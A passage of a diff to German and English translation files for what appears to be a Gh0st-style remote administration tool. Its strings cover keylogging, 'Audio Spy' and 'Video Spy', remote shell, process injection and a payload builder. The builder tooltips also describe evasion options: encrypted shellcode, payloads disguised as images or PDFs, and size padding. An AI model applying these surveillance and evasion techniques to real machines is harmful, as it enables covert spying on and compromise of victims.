进程管理=Prozessverwaltung
|
||||
窗口管理=Fensterverwaltung
|
||||
文件管理=Dateien
|
||||
进程管理=Prozesse
|
||||
窗口管理=Fenster
|
||||
命令行=Shell
|
||||
注册表=Registry
|
||||
注册表管理=Registry-Verwaltung
|
||||
服务管理=Diensteverwaltung
|
||||
注册表管理=Registry
|
||||
服务管理=Dienste
|
||||
服务管理器=Diensteverwaltung
|
||||
键盘记录=Keylogger
|
||||
键盘记录=Keylog
|
||||
语音监听=Audio-Ueberwachung
|
||||
视频监控=Video-Ueberwachung
|
||||
视频查看=Videoansicht
|
||||
@@ -95,9 +95,10 @@ RTT=RTT
|
||||
远程音频=Remote-Audio
|
||||
远程视频=Remote-Video
|
||||
系统管理=Systemverwaltung
|
||||
生成服务端=Server erstellen
|
||||
生成服务端=Build
|
||||
即时消息=Nachricht
|
||||
虚拟屏幕=Virtueller Bildschirm
|
||||
实验功能=Experimentelle Funktionen
|
||||
隐私屏幕=Datenschutz-Bildschirm
|
||||
代理服务=Proxy-Dienst
|
||||
注入设置=Injektionskonfiguration
|
||||
@@ -415,7 +416,7 @@ Rar
|
||||
已有授权密码。请勿将本程序用于任何非法、违规的用途,否则后果自负!\r\n\r\n是否更新试用口令?更新后原有授权码将被覆盖。=Es ist bereits ein Autorisierungscode vorhanden. Bitte verwenden Sie dieses Programm nicht fuer illegale oder unzulaessige Zwecke; andernfalls tragen Sie die alleinige Verantwortung fuer die Folgen!\r\n\r\nTestcode aktualisieren? Der vorhandene Autorisierungscode wird ueberschrieben.
|
||||
注入记事本=Notepad injizieren
|
||||
机器管理=Maschinenverwaltung
|
||||
主机管理=Maschinenverwaltung
|
||||
主机管理=Hosts
|
||||
注销=Abmelden
|
||||
关机=Herunterfahren
|
||||
重启=Neustart
|
||||
@@ -499,18 +500,18 @@ QQ
|
||||
; String Table
|
||||
; ============================================
|
||||
远程终端=Terminal
|
||||
进程管理=Prozessverwaltung
|
||||
窗口管理=Fensterverwaltung
|
||||
进程管理=Prozesse
|
||||
窗口管理=Fenster
|
||||
远程桌面=Remote-Desktop
|
||||
文件管理=Dateimanager
|
||||
文件管理=Dateien
|
||||
语音监听=Audio-Monitor
|
||||
视频查看=Video-Betrachter
|
||||
服务管理=Diensteverwaltung
|
||||
服务管理=Dienste
|
||||
注册表查看=Registry-Ansicht
|
||||
服务生成=Dienst erstellen
|
||||
帮助=Hilfe
|
||||
参数配置=Konfiguration
|
||||
键盘记录=Keylogger
|
||||
键盘记录=Keylog
|
||||
|
||||
; ============================================
|
||||
; Status Messages
|
||||
@@ -1785,7 +1786,7 @@ V2˽Կ
|
||||
刷新插件=Plugins aktualisieren
|
||||
下级FRP代理设置=FRPS fuer Untergeordnete
|
||||
打开Web远程桌面=Web-Remotedesktop oeffnen
|
||||
连接管理=Verbindungsverwaltung
|
||||
连接管理=Sitzungen
|
||||
远程交谈=Fernchat
|
||||
远程画板=Fern-Zeichenbrett
|
||||
虚拟屏幕(实验功能)=Virtueller Bildschirm (Experimentell)
|
||||
@@ -2172,6 +2173,9 @@ TLS
|
||||
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel).
|
||||
TLS传输=TLS-Transport
|
||||
取消TLS=TLS deaktivieren
|
||||
线缆压缩:ZSTD=Leitungskompression: ZSTD
|
||||
线缆压缩:ZLIB=Leitungskompression: ZLIB
|
||||
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=Ausgewaehlte Hosts unterstuetzen das Umschalten der Leitungskompression nicht (ein neuerer Windows-Client ist erforderlich)
|
||||
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=TLS-Transport fuer die ausgewaehlten Hosts aktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen)
|
||||
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen)
|
||||
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden
|
||||
@@ -2188,6 +2192,27 @@ WSS
|
||||
选中的主机里有客户端版本不支持协议切换(需要新版客户端)=Einige ausgewaehlte Hosts laufen mit einem Client ohne Protokollwechsel-Unterstuetzung (neuerer Client erforderlich)
|
||||
确定把选中主机切回直连 TCP 吗?\n(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)=Ausgewaehlte Hosts zurueck auf direktes TCP schalten?\n(Clients verbinden sich sofort neu; ist der direkte Port nicht erreichbar, fallen sie nach 5 Minuten auf den aktuellen Eingang zurueck)
|
||||
确定切换选中主机的传输协议吗?\n(客户端立即断线重连,正在进行的远程会话会中断;新入口 5 分钟内连不上将自动回退)=Transportprotokoll der ausgewaehlten Hosts umschalten?\n(Clients verbinden sich sofort neu, laufende Sitzungen werden unterbrochen; ist der neue Eingang 5 Minuten lang nicht erreichbar, wird automatisch zurueckgefallen)
|
||||
UDP(测试)=UDP (Test)
|
||||
KCP(测试)=KCP (Test)
|
||||
选中的主机里有客户端版本不支持切到实验传输 UDP/KCP(需要新版 Windows 客户端)=Einige ausgewaehlte Hosts nutzen einen Client ohne Unterstuetzung fuer experimentelle Transporte (UDP/KCP); ein neuerer Windows-Client ist erforderlich
|
||||
当前主控走上级 FRP 代理,FRP 只转发 TCP,无法切换到实验传输=Der Master laeuft hinter einem uebergeordneten FRP-Proxy, der nur TCP weiterleitet; Wechsel zu einem experimentellen Transport nicht moeglich
|
||||
无法确定主控的公网地址,不能切换到实验传输=Oeffentliche Adresse des Masters konnte nicht ermittelt werden; Wechsel zu einem experimentellen Transport nicht moeglich
|
||||
主控没有配置该传输的监听端口:请在设置的 ghost/UDPOption 里加上对应条目=Fuer diesen Transport ist kein Listen-Port konfiguriert; bitte einen passenden ghost/UDPOption-Eintrag in den Einstellungen ergaenzen
|
||||
确定把选中主机切到测试传输吗?\n(UDP/KCP 为实验协议,可能不稳定;客户端立即断线重连,300 秒内连不上会自动回退到切换前的入口)=Ausgewaehlte Hosts auf einen experimentellen Transport umschalten?\n(UDP/KCP sind experimentell und ggf. instabil; Clients verbinden sich sofort neu und fallen nach 300 Sekunden ohne Verbindung auf den vorherigen Eingang zurueck)
|
||||
与监听端口按顺序一一对应。\n例如监听端口填 6543;7543,这里就填 UDP;KCP。\n0 表示 UDP,1 表示 KCP;未填写的端口按 UDP 处理。\n修改后需重启主控生效。=Entspricht den Listen-Ports in Reihenfolge.\nFuer 6543;7543 hier UDP;KCP eintragen.\n0 steht fuer UDP, 1 fuer KCP; fehlende Eintraege gelten als UDP.\nAenderungen erst nach Neustart des Masters wirksam.
|
||||
客户端连接主控所用的地址。\n有公网 IP 填公网 IP;使用 FRP 填 frps 的公网 IP/域名;\n仅局域网测试可填内网 IP。\n修改只影响之后生成/分发的客户端;若已绑定授权,改地址可能导致授权失效。=Adresse, ueber die Clients den Master erreichen.\nOeffentliche IP eintragen; hinter FRP die frps-Adresse/Domain;\nfuer LAN-Tests reicht die interne IP.\nBetrifft nur neu erzeugte Clients; eine lizenzierte Adresse zu aendern kann die Lizenz ungueltig machen.
|
||||
主控监听的端口,可填多个,用英文分号分隔。\n例如 6543;7543。每个端口同时监听 TCP 和 UDP;\nKCP 端口由右侧「UDP 协议参数」按顺序指定。\n已分发的客户端仍指向旧端口:改端口后需重启主控,\n并重新生成/分发客户端。=Ports, auf denen der Master lauscht; mehrere durch Semikolon getrennt.\nZ.B. 6543;7543. Jeder Port lauscht auf TCP und UDP;\nder KCP-Port wird rechts ueber UDP-Parameter in Reihenfolge gewaehlt.\nBereits verteilte Clients zielen weiter auf den alten Port:\nMaster neu starten und Clients neu erzeugen/verteilen.
|
||||
启用后主控在本机启动 frpc,\n把监听端口映射到 frps 的公网端口;\n需要填写服务端口和 token。\n仅 64 位主控支持,切换开关需重启主控生效。=Startet frpc auf diesem Rechner und mappt die Listen-Ports\nauf die oeffentlichen frps-Ports; FRP-Port und Token ausfuellen.\nNur 64-Bit-Master; nach dem Umschalten Master neu starten.
|
||||
frps 的 server_port(frps.ini 的 bind_port),默认 7000。\n它不是主控映射出去的监听端口。仅启用 FRP 时可填。=server_port von frps (bind_port in frps.ini), Standard 7000.\nNicht der gemappte Listen-Port. Nur bei aktivem FRP ausfuellbar.
|
||||
frpc 与 frps 共享的认证 token,\n必须与 frps.ini 中的 token 一致;\n留空表示服务端未启用 token。仅启用 FRP 时可填。=Gemeinsamer Token von frpc und frps; muss zu frps.ini passen.\nLeer lassen, wenn der Server keinen Token nutzt. Nur bei aktivem FRP ausfuellbar.
|
||||
当前授权允许的最大同时在线客户端数,由口令/授权决定,只读。=Maximale gleichzeitige Clients laut Lizenz; schreibgeschuetzt.
|
||||
是:允许在远程会话中切换目标机的多个显示器;\n否:只使用主显示器。对新开的屏幕会话生效。=Ja: zwischen den Monitoren des Ziels umschalten;\nNein: nur Hauptmonitor. Gilt fuer neue Bildschirmsitzungen.
|
||||
屏幕捕获方式:\nGDI 兼容性最好,支持窗口捕获;\nDXGI 桌面复制更快更省 CPU(Win8+,部分远程会话/驱动下拿不到帧会自动回退);\nVIRTUAL 使用虚拟桌面捕获。对新开的屏幕会话生效。=Aufnahmemethode:\nGDI ist am kompatibelsten und unterstuetzt Fensteraufnahme;\nDXGI Desktop Duplication ist schneller und sparsamer (Win8+; faellt bei fehlenden Frames zurueck);\nVIRTUAL nimmt einen virtuellen Desktop auf. Gilt fuer neue Bildschirmsitzungen.
|
||||
远程画面编码方式:\n算法自适应(按带宽自动选择)、屏幕差异(省流量)、\nH264(画面更流畅,需客户端支持)、灰度 / RGBA→RGB565(极低带宽)。\n对新开的屏幕会话生效。=Bildkodierung:\nAdaptiv (nach Bandbreite), Screen-Diff (wenig Traffic),\nH264 (fluessiger, Client-Unterstuetzung noetig), Graustufen / RGBA->RGB565 (sehr wenig Bandbreite).\nGilt fuer neue Bildschirmsitzungen.
|
||||
客户端上报活动窗口/心跳的间隔(秒),默认 5。\n数值越小越及时,流量和 CPU 越高;点确定后下发给在线客户端。=Intervall (Sekunden) fuer Aktivfenster/Heartbeat, Standard 5.\nKleiner ist aktueller, kostet aber Traffic/CPU; nach OK an Online-Clients gesendet.
|
||||
选择在客户端上检测的软件:\n「摄像头」检测摄像头占用,「电报」检测 Telegram 是否运行。\n结果显示在在线列表的「摄像头」列;点确定后下发给在线客户端。=Zu erkennende Software auf Clients:\nKamera erkennt Kameranutzung; Telegram erkennt laufendes Telegram.\nErgebnis in der Spalte Kamera; nach OK an Online-Clients gesendet.
|
||||
把多个显示器按 N×N 网格拼成一个逻辑屏(2×2~5×5),\n用于多屏集中查看;「无」表示关闭。=Mehrere Monitore als N x N logischer Bildschirm (2x2 bis 5x5)\nfuer die gemeinsame Ansicht; Keine deaktiviert dies.
|
||||
主控 Web 服务的端口,默认 8080。\n用于 Web 控制台、远程控制,以及以下载方式分发上线载荷;\n填 -1 或 0 表示不启用。修改后需重启主控生效。=Port des Master-Webdienstes, Standard 8080.\nFuer Web-Konsole, Fernsteuerung und Payload-Downloads;\n-1 oder 0 deaktiviert ihn. Aenderungen erst nach Neustart des Masters wirksam.
|
||||
白名单=Whitelist
|
||||
确定将选中日志中的 IP 加入白名单吗?=IP aus den ausgewaehlten Log-Eintraegen zur Whitelist hinzufuegen?
|
||||
已将 %d 个 IP 加入白名单=%d IP(s) zur Whitelist hinzugefuegt
|
||||
@@ -2261,3 +2286,69 @@ APK
|
||||
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=Der Reparaturbefehl wurde in die Zwischenablage kopiert.\n\nDruecken Sie Win+X, oeffnen Sie Terminal (Administrator), fuegen Sie den Befehl ein und starten Sie das Programm danach neu.
|
||||
已复制=Kopiert
|
||||
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=Dieser Android-Host hat kein Root, daher ist die Prozessliste nicht verfuegbar.\n\nAb Android 7 ist /proc durch hidepid/SELinux eingeschraenkt; eine normale App kann keine anderen Prozesse auflisten.
|
||||
|
||||
; MCP settings preset buttons
|
||||
只读模式=Nur-Lese-Modus
|
||||
智能模式=Intelligenter Modus
|
||||
; FRP auto proxy messages (local FRP precedence)
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] Vorgelagerter FRP-Reverse-Proxy aktiviert (Remote-Port %d); lokales FRP ist aktiv, Master-Adresse unveraendert
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] Vorgelagerter FRP-Reverse-Proxy gewechselt (Remote-Port %d -> %d); lokales FRP ist aktiv, Master-Adresse unveraendert
|
||||
; FRP address hint (upstream-provided)
|
||||
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=Vom FRP des vorgelagerten Servers (Port dort vergeben); keine Aenderung noetig
|
||||
|
||||
要生成的载荷形态:\nTestRun 是测试加载器(磁盘/内存 DLL、注入任务管理器);\nghost.exe 是独立客户端;ServerDll.dll / TinyRun.dll 是模块;\n还有 Windows 服务、SYSTEM 以及 Linux/macOS/Android 预编译模板。\n最后一项「选择文件」可指定自定义程序。=Form der zu erzeugenden Nutzlast:\nTestRun ist ein Test-Loader (Disk-/Speicher-DLL, Injektion in den Task-Manager);\nghost.exe ist der eigenstaendige Client; ServerDll.dll / TinyRun.dll sind Module;\nWindows-Dienst, SYSTEM sowie vorgebaute Linux/macOS/Android-Vorlagen sind ebenfalls vorhanden.\nDer letzte Eintrag erlaubt eine eigene Datei.
|
||||
生成 Windows 载荷的位数:64 位 / 32 位。\nLinux、macOS、Android 为固定架构,此项会自动置灰。=Bitbreite der erzeugten Windows-Nutzlast: 64 Bit / 32 Bit.\nLinux, macOS und Android haben feste Architekturen; diese Auswahl wird dann deaktiviert.
|
||||
配置了多个主控地址时的上线方式:\n随机上线:每次连接随机选一个地址;\n并发上线:同时连接全部地址(每个地址一个实例)。=Verbindungsart bei mehreren Master-Adressen:\nZufaellig: waehlt pro Verbindung eine Adresse;\nParallel: verbindet alle Adressen gleichzeitig (je eine Instanz).
|
||||
客户端连接的主控地址。\n可填多个,用英文分号分隔,最多 99 字符。\n「随机上线」每次随机选一个;「并发上线」同时连接全部。\n可填 IP 或域名;走 FRP 时填 FRP 服务器地址。=Master-Adresse, zu der der Client verbindet.\nMehrere Adressen durch Semikolon getrennt, max. 99 Zeichen.\nZufaellig waehlt eine pro Verbindung, Parallel verbindet alle.\nIPs und Domains sind erlaubt; hinter FRP die FRP-Server-Adresse eintragen.
|
||||
客户端连接主控使用的传输协议。\nTCP/UDP/HTTP/KCP 直连;WebSocket、WS+TLS 需经反向代理。\nKCP 还要求主控 ghost/UDPOption 把对应端口配成 KCP;\n「随机」在 TCP/UDP/HTTP 中随机选择。=Transport, den der Client zum Master nutzt.\nTCP/UDP/HTTP/KCP verbinden direkt; WebSocket und WS+TLS brauchen einen Reverse-Proxy.\nKCP setzt ausserdem voraus, dass der Master-Port in ghost/UDPOption als KCP steht;\nZufaellig waehlt aus TCP/UDP/HTTP.
|
||||
主控监听端口,默认 6543。\nWS/WSS 走反向代理时填反代入口端口(如 443)。\n必须与主控实际监听/映射的端口一致。=Listen-Port des Masters, Standard 6543.\nBei WS/WSS hinter einem Reverse-Proxy den Proxy-Port eintragen (z. B. 443).\nMuss zum tatsaechlich lauschenden/gemappten Port des Masters passen.
|
||||
上线报文头的加密变体(Shine / HELL),默认 HELL。\n只影响报文头的混淆方式,不影响数据正文加密。=Verschluesselungsvariante des Login-Headers (Shine / HELL), Standard HELL.\nAendert nur die Verschleierung des Headers, nicht die Nutzlast-Verschluesselung.
|
||||
生成后的处理方式:\n无:原样输出;UPX:压缩(体积小,易被杀软标记);\nShellCode AES:转成 AES 加密的 shellcode(可配合下载服务);\nPE→ShellCode:把 PE 转成 shellcode;ShellCode BIN:输出裸 shellcode。\n仅 Windows 目标可用。=Nachbearbeitung der erzeugten Nutzlast:\nKeine: unveraendert; UPX: komprimiert (kleiner, eher auffaellig);\nShellCode AES: in AES-verschluesselten Shellcode umwandeln (fuer Download-Dienst);\nPE->ShellCode: PE in Shellcode umwandeln; ShellCode BIN: roher Shellcode.\nNur Windows-Ziele.
|
||||
客户端上报的分组名,主控在线列表按它归类显示。\n留空时按默认分组处理。=Vom Client gemeldeter Gruppenname; der Master gruppiert Hosts danach.\nLeer bedeutet Standardgruppe.
|
||||
客户端安装目录的根位置:\nProgramData / APPDATA / LOCALAPPDATA 不需要管理员权限;\nProgramFiles、SystemRoot 需要管理员权限(安装时会提权)。=Wurzel des Installationsverzeichnisses beim Client:\nProgramData / APPDATA / LOCALAPPDATA brauchen keine Adminrechte;\nProgramFiles und SystemRoot brauchen Administratorrechte (Installation fordert sie an).
|
||||
在上述根目录下创建的子目录名,最长 31 字符。\n留空时按载荷类型使用默认目录(如 Windows Ghost)。\n反复在同一台电脑测试时,建议配合不同的程序名称使用不同子目录。=Unterordner unter der obigen Wurzel, max. 31 Zeichen.\nLeer nutzt einen Standard je Nutzlast (z. B. Windows Ghost).\nBei wiederholten Tests auf demselben Rechner anderen Unterordner und anderen Programmnamen verwenden.
|
||||
生成的文件名/服务名(不含扩展名),最长 31 字符。\n建议每次测试都换一个名称,并配合不同的子目录。\n留空会使用默认名称/默认位置:同一台电脑反复安装时,\n可能与残留进程或旧文件冲突,安装不会自动替换,\n表现为客户端不上线。=Datei-/Dienstname (ohne Endung), max. 31 Zeichen.\nFuer jeden Test einen anderen Namen und einen anderen Unterordner verwenden.\nLeer nutzt Standardname/-ort: wiederholte Installationen auf demselben Rechner\nkollidieren moeglicherweise mit einem laufenden Restprozess oder alten Dateien;\nder Installer ersetzt sie nicht, und der Client geht dann nicht online.
|
||||
在文件末尾填充随机数据改变体积(0~256 MB),不影响运行。=Haengt Zufallsdaten an die Datei an, um die Groesse zu aendern (0-256 MB); ohne Auswirkung auf die Ausfuehrung.
|
||||
仅 ShellCode AES 模式显示:载荷的封装形态。\n可写入当前程序尾部、单独的二进制文件,\n或 BMP/JPG/PNG/ZIP/PDF 等文件,\n用于把载荷伪装成图片、压缩包等再投递。=Nur bei ShellCode AES sichtbar: Verpackung der Nutzlast.\nAn das aktuelle Programm anhaengen, als eigene Binaerdatei schreiben\noder in BMP/JPG/PNG/ZIP/PDF einbetten,\num sie als Bild oder Archiv getarnt zu liefern.
|
||||
启用后载荷通过 HTTP 下载投递:\n文件放到程序的 Payloads 目录,或填写下载地址;\n受管机器上线时按地址下载载荷。\n仅 ShellCode AES 且载荷不是「当前程序尾部」时可用。=Aktiviert die Zustellung der Nutzlast per HTTP-Download:\nDatei in den Payloads-Ordner legen oder eine URL eintragen;\nder verwaltete Rechner laedt sie beim Onlinegehen.\nNur fuer ShellCode AES und Nutzlasten ausser 'an aktuelles Programm anhaengen'.
|
||||
载荷下载地址(http/https),最长 255 字符。\n留空时默认用本机 Web 端口:\nhttp://<主控IP>:<Web端口>/payloads/<文件名>。\n仅勾选「下载服务」时显示。=Download-URL der Nutzlast (http/https), max. 255 Zeichen.\nLeer nutzt den Web-Port dieses Rechners:\nhttp://<Master-IP>:<Web-Port>/payloads/<Dateiname>.\nNur sichtbar, wenn Download-Dienst aktiv ist.
|
||||
勾选后把服务端 TLS 证书锚写进载荷,首次连接即加密,避免首连明文。\n仅 Windows 客户端模板、TCP/HTTP 协议且服务端已启用 TLS 时可用;\n不可用时复选框文案会直接写明原因。=Bettet den TLS-Vertrauensanker des Servers in die Nutzlast ein, damit die erste Verbindung verschluesselt ist.\nNur fuer Windows-Client-Vorlagen mit TCP/HTTP und aktiviertem Server-TLS verfuegbar;\nbei Nichtverfuegbarkeit nennt das Kontrollkaestchen den Grund.
|
||||
程序增肥:填充 %d MB(0~256 MB)。\n在文件末尾填充随机数据改变体积,不影响运行。=Padding: %d MB (0-256 MB).\nHaengt Zufallsdaten an die Datei an, um die Groesse zu aendern; ohne Auswirkung auf die Ausfuehrung.
|
||||
打开选中主机的远程终端(CMD)。\n需先在在线列表中选择一台主机。=Remote-Terminal (CMD) auf dem ausgewaehlten Host oeffnen.\nZuerst einen Host in der Online-Liste auswaehlen.
|
||||
查看并管理选中主机的进程(结束/挂起)。\n需先选择主机。=Prozesse des ausgewaehlten Hosts anzeigen und verwalten (beenden/anhalten).\nZuerst einen Host auswaehlen.
|
||||
枚举并控制选中主机的窗口(显示/隐藏/关闭)。\n需先选择主机。=Fenster des ausgewaehlten Hosts auflisten und steuern (anzeigen/ausblenden/schliessen).\nZuerst einen Host auswaehlen.
|
||||
打开远程桌面,查看并控制选中主机的屏幕。\n需先选择主机。=Remote-Desktop oeffnen, um den Bildschirm des ausgewaehlten Hosts zu sehen und zu steuern.\nZuerst einen Host auswaehlen.
|
||||
打开远程文件管理器,浏览、上传和下载文件。\n需先选择主机。=Remote-Dateimanager oeffnen, um Dateien zu durchsuchen, hoch- und herunterzuladen.\nZuerst einen Host auswaehlen.
|
||||
监听选中主机的声音或麦克风。\n需先选择主机。=Ton oder Mikrofon des ausgewaehlten Hosts abhoeren.\nZuerst einen Host auswaehlen.
|
||||
查看选中主机的摄像头画面。\n需先选择主机。=Kamerabild des ausgewaehlten Hosts anzeigen.\nZuerst einen Host auswaehlen.
|
||||
管理选中主机的 Windows 服务(启动/停止/删除)。\n需先选择主机。=Windows-Dienste des ausgewaehlten Hosts verwalten (starten/stoppen/loeschen).\nZuerst einen Host auswaehlen.
|
||||
查看和编辑选中主机的注册表。\n需先选择主机。=Registrierung des ausgewaehlten Hosts anzeigen und bearbeiten.\nZuerst einen Host auswaehlen.
|
||||
查看或开启选中主机的键盘记录。\n需先选择主机。=Keylogger des ausgewaehlten Hosts anzeigen oder starten.\nZuerst einen Host auswaehlen.
|
||||
主控参数:监听端口、FRP、TLS、MCP、数据库等。=Master-Parameter: Listen-Ports, FRP, TLS, MCP, Datenbank u. a.
|
||||
生成并配置客户端安装包(可嵌入地址、授权与选项)。=Client-Paket erzeugen und konfigurieren (Adresse, Lizenz und Optionen koennen eingebettet werden).
|
||||
在在线主机列表中按关键字搜索。=Online-Hostliste nach Stichwort durchsuchen.
|
||||
查看版本、关于信息与帮助。=Version, Info und Hilfe anzeigen.
|
||||
切换界面语言。=Oberflaechensprache wechseln.
|
||||
MCP 服务设置:开关、端口与 HTTP/HTTPS。\n修改后需重启主控生效。=MCP-Diensteinstellungen: Schalter, Port und HTTP/HTTPS.\nAenderungen erfordern einen Neustart des Masters.
|
||||
查看和管理当前连接/会话。=Aktuelle Verbindungen/Sitzungen anzeigen und verwalten.
|
||||
与选中主机进行双向文字交谈。\n需先选择主机。=Zwei-Wege-Textchat mit dem ausgewaehlten Host starten.\nZuerst einen Host auswaehlen.
|
||||
管理主机分组、备注与批量操作。\n需先选择主机。=Host-Gruppen, Bemerkungen und Sammelaktionen verwalten.\nZuerst einen Host auswaehlen.
|
||||
TLS 已启用,但证书或私钥加载失败;服务端会拒绝 TLS 握手(fail-closed),明文连接可能仍被接受。\n请检查 [tls] 的 CertPath / KeyPath。=TLS ist aktiviert, aber Zertifikat oder Schluessel konnten nicht geladen werden; der Server lehnt TLS-Handshakes ab (fail-closed), Klartextverbindungen koennen weiterhin akzeptiert werden.\nBitte CertPath / KeyPath unter [tls] pruefen.
|
||||
TLS 未启用:客户端可使用明文连接,或由主控下发信任锚后切换到 TLS。=TLS ist nicht aktiviert: Clients koennen im Klartext verbinden oder nach dem Senden eines Trust Anchors durch den Master auf TLS wechseln.
|
||||
TLS 使用内置自签证书(首次启用时自动生成),信任锚随客户端下发。=TLS verwendet das integrierte selbstsignierte Zertifikat (beim ersten Aktivieren erzeugt); der Trust Anchor wird an Clients gesendet.
|
||||
TLS 使用自定义证书,入站凭据已加载。=TLS verwendet ein eigenes Zertifikat; die eingehenden Anmeldeinformationen sind geladen.
|
||||
MCP 未启用。可在工具栏 MCP 或「扩展」菜单中开启,修改后需重启主控生效。=MCP ist nicht aktiviert. Aktivieren Sie es ueber die MCP-Schaltflaeche oder das Menue Erweiterungen; Aenderungen erfordern einen Neustart des Masters.
|
||||
MCP 已启用:端口 =MCP aktiviert: Port
|
||||
,协议 =, Protokoll
|
||||
。\n修改 MCP 设置后需重启主控生效。=.\nAenderungen an den MCP-Einstellungen erfordern einen Neustart des Masters.
|
||||
当前对外地址:=Oeffentliche Adresse:
|
||||
\n来源:上级配置的 FRPC 地址。=\nQuelle: vom uebergeordneten Server bereitgestellte FRPC-Adresse.
|
||||
\n来源:本机 FRPS。=\nQuelle: lokaler FRPS.
|
||||
\n来源:上级 FRP 代理的 master 地址。=\nQuelle: Master-Adresse des uebergeordneten FRP-Proxys.
|
||||
\n来源:本机直连(公网 WAN 或局域网 LAN)。=\nQuelle: direkte Verbindung (oeffentliches WAN oder LAN).
|
||||
普通模式:显示主控本次运行时长。=Normalmodus: zeigt die Laufzeit dieser Master-Sitzung.
|
||||
服务模式:显示累计运行时长;有崩溃记录时显示 MTBF 与失败率。=Dienstmodus: zeigt die kumulierte Laufzeit; bei Abstuerzen MTBF und Fehlerrate.
|
||||
授权到期信息:=Lizenzablauf:
|
||||
\n剩余天数包含到期当天;已过期时主控功能可能受限。=\nDie verbleibenden Tage schliessen den Ablauftag ein; nach Ablauf koennen Funktionen eingeschraenkt sein.
|
||||
重置=Zuruecksetzen
|
||||
已清空语言包目录设置,已恢复内置语言,重启程序后生效。=Sprachpaketordner-Einstellung geleert; integrierte Sprache wiederhergestellt. Neustart des Programms erforderlich.
|
||||
@@ -28,15 +28,15 @@
|
||||
设置=Settings
|
||||
终端管理=Terminal
|
||||
进程管理=Process
|
||||
窗口管理=Windows
|
||||
窗口管理=Window
|
||||
桌面管理=Desktop
|
||||
文件管理=Files
|
||||
文件管理=File Mgr
|
||||
语音管理=Audio
|
||||
视频管理=Video
|
||||
服务管理=Services
|
||||
服务管理=Service
|
||||
注册表管理=Registry
|
||||
键盘记录=Keylog
|
||||
参数设置=Settings
|
||||
参数设置=Options
|
||||
生成服务端=Build Svc
|
||||
帮助=Help
|
||||
|
||||
@@ -78,15 +78,15 @@ RTT=RTT
|
||||
; Dialog Captions (对话框标题保持清晰)
|
||||
; ============================================
|
||||
远程桌面=Remote Desktop
|
||||
文件管理=File Manager
|
||||
进程管理=Process Mgr
|
||||
窗口管理=Window Mgr
|
||||
文件管理=File Mgr
|
||||
进程管理=Process
|
||||
窗口管理=Window
|
||||
命令行=Shell
|
||||
注册表=Registry
|
||||
注册表管理=Registry Mgr
|
||||
服务管理=Service Mgr
|
||||
注册表管理=Registry
|
||||
服务管理=Service
|
||||
服务管理器=Service Mgr
|
||||
键盘记录=Keylogger
|
||||
键盘记录=Keylog
|
||||
语音监听=Audio Spy
|
||||
视频监控=Video Spy
|
||||
视频查看=Video View
|
||||
@@ -95,7 +95,7 @@ RTT=RTT
|
||||
远程音频=Remote Audio
|
||||
远程视频=Remote Video
|
||||
系统管理=System Mgr
|
||||
生成服务端=Build Server
|
||||
生成服务端=Build
|
||||
即时消息=Message
|
||||
虚拟屏幕=Virtual Screen
|
||||
隐私屏幕=Privacy Screen
|
||||
@@ -244,7 +244,7 @@ RTT=RTT
|
||||
; ============================================
|
||||
常规设置=General
|
||||
网络设置=Network
|
||||
参数设置=Parameters
|
||||
参数设置=Options
|
||||
桌面管理=Desktop
|
||||
监听端口=Listen Port
|
||||
监听端口:=Port:
|
||||
@@ -419,7 +419,7 @@ Rar
|
||||
已有授权密码。请勿将本程序用于任何非法、违规的用途,否则后果自负!\r\n\r\n是否更新试用口令?更新后原有授权码将被覆盖。=Existing authorization code found. Please do not use this program for any illegal or improper purposes; otherwise you are solely responsible for the consequences!\r\n\r\nUpdate the trial code? The existing authorization code will be overwritten.
|
||||
注入记事本=Inject Notepad
|
||||
机器管理=Machine Mgmt
|
||||
主机管理=Host Mgmt
|
||||
主机管理=Hosts
|
||||
注销=Log Off
|
||||
关机=Shutdown
|
||||
重启=Restart
|
||||
@@ -503,18 +503,18 @@ QQ
|
||||
; String Table
|
||||
; ============================================
|
||||
远程终端=Terminal
|
||||
进程管理=Process Mgr
|
||||
窗口管理=Window Mgr
|
||||
进程管理=Process
|
||||
窗口管理=Window
|
||||
远程桌面=Remote Desktop
|
||||
文件管理=File Manager
|
||||
文件管理=File Mgr
|
||||
语音监听=Audio Monitor
|
||||
视频查看=Video Viewer
|
||||
服务管理=Service Mgr
|
||||
服务管理=Service
|
||||
注册表查看=Registry View
|
||||
服务生成=Build Service
|
||||
帮助=Help
|
||||
参数配置=Configuration
|
||||
键盘记录=Keylogger
|
||||
键盘记录=Keylog
|
||||
|
||||
; ============================================
|
||||
; Status Messages
|
||||
@@ -2135,7 +2135,7 @@ JPEG
|
||||
%s · 不受限速(受网络带宽约束)=%s · Unlimited (limited by network bandwidth)
|
||||
文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed has been pushed to online clients, and newly connected hosts will get it automatically.
|
||||
|
||||
连接管理=Connections
|
||||
连接管理=Sessions
|
||||
%s - 连接管理=%s - Connections
|
||||
本地地址=Local Address
|
||||
本地端口=Local Port
|
||||
@@ -2187,6 +2187,9 @@ TLS
|
||||
